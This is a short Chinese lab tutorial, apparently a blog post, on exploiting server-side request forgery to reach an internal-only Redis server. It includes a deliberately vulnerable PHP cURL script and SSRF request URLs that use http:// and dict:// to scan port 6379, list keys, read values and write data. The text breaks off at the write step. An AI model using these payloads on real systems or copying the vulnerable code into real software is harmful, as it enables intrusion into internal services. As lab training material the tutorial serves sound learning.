SSRF对Redis进行内网渗透
一 环境搭建
-
准备一台服务器,开启lampp和redis,redis只允许内网访问

-
使用kali进行端口扫描,扫不到6379

-
使用kali连接redis,也连不上

-
ssrf漏洞代码
<?php $url = $_GET['url']; // 创建一个cURL资源 $ch = curl_init(); // 设置URL和相应的选项 curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); // 抓取URL并把它传递给浏览器 curl_exec($ch); // 关闭cURL资源,并且释放系统资源 curl_close($ch); ?>
二 端口探测
http
http://192.168.2.26/ssrf2.php?url=http://127.0.0.1:6379
dict
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379

三 基于dict协议操作redis
1 查询所有的键
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/keys:*

2 查询某个键的值
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/get:name

3 向redis中写数据
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:a

213

被折叠的 条评论
为什么被折叠?



